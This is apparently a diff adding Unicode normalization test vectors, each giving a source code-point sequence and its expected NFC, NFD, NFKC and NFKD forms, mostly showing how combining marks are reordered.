+{ source: [0x0061, 0x1D172, 0x1DFA, 0x031B, 0x1DCE, 0x0062], NFC: [0x0061, 0x1DCE, 0x1D172, 0x031B, 0x1DFA, 0x0062], NFD: [0x0061, 0x1DCE, 0x1D172, 0x031B, 0x1DFA, 0x0062], NFKC: [0x0061, 0x1DCE, 0x1D172, 0x031B, 0x1DFA, 0x0062], NFKD: [0x0061, 0x1DCE, 0x1D172, 0x031B, 0x1DFA, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1D17B, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1D17B, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1D17B, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1D17B, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1D17B, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1D17B, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1D17B, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1D17B, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1D17B, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1D17B, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1D17C, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1D17C, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1D17C, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1D17C, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1D17C, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1D17C, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1D17C, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1D17C, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1D17C, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1D17C, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1D17D, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1D17D, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1D17D, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1D17D, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1D17D, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1D17D, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1D17D, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1D17D, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1D17D, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1D17D, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1D17E, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1D17E, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1D17E, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1D17E, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1D17E, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1D17E, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1D17E, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1D17E, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1D17E, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1D17E, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1D17F, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1D17F, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1D17F, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1D17F, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1D17F, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1D17F, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1D17F, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1D17F, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1D17F, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1D17F, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1D180, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1D180, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1D180, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1D180, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1D180, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1D180, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1D180, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1D180, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1D180, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1D180, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1D181, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1D181, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1D181, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1D181, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1D181, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1D181, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1D181, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1D181, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1D181, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1D181, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1D182, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1D182, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1D182, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1D182, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1D182, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1D182, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1D182, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1D182, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1D182, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1D182, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D185, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D185, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D185, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D185, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D185, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D185, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D185, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D185, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D185, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D185, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D186, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D186, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D186, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D186, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D186, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D186, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D186, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D186, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D186, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D186, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D187, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D187, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D187, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D187, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D187, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D187, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D187, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D187, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D187, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D187, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D188, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D188, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D188, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D188, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D188, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D188, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D188, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D188, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D188, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D188, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D189, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D189, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D189, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D189, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D189, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D189, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D189, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D189, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D189, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D189, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1D18A, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1D18A, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1D18A, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1D18A, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1D18A, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1D18A, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1D18A, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1D18A, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1D18A, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1D18A, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1D18B, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1D18B, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1D18B, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1D18B, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1D18B, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1D18B, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1D18B, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1D18B, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1D18B, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1D18B, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D1AA, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D1AA, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D1AA, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D1AA, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D1AA, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D1AA, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D1AA, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D1AA, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D1AA, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D1AA, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D1AB, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D1AB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D1AB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D1AB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D1AB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D1AB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D1AB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D1AB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D1AB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D1AB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D1AC, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D1AC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D1AC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D1AC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D1AC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D1AC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D1AC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D1AC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D1AC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D1AC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D1AD, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D1AD, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D1AD, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D1AD, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D1AD, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D1AD, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D1AD, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D1AD, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D1AD, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D1AD, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D242, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D242, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D242, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D242, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D242, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D242, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D242, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D242, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D242, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D242, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D243, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D243, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D243, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D243, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D243, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D243, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D243, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D243, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D243, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D243, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D244, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D244, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D244, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D244, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D244, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D244, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D244, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D244, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D244, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D244, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E000, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E000, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E000, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E000, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E000, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E000, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E000, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E000, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E000, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E000, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E001, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E001, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E001, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E001, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E001, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E001, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E001, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E001, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E001, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E001, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E002, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E002, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E002, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E002, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E002, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E002, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E002, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E002, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E002, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E002, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E003, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E003, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E003, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E003, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E003, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E003, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E003, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E003, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E003, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E003, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E004, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E004, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E004, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E004, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E004, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E004, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E004, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E004, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E004, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E004, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E005, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E005, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E005, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E005, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E005, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E005, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E005, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E005, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E005, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E005, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E006, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E006, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E006, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E006, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E006, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E006, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E006, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E006, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E006, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E006, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E008, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E008, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E008, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E008, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E008, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E008, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E008, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E008, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E008, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E008, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E009, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E009, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E009, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E009, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E009, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E009, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E009, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E009, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E009, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E009, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E00A, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E00A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E00A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E00A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E00A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E00A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E00A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E00A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E00A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E00A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E00B, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E00B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E00B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E00B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E00B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E00B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E00B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E00B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E00B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E00B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E00C, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E00C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E00C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E00C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E00C, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E00C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E00C, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E00C, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E00C, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E00C, 0x0300, 0x0315, 0x0062] },
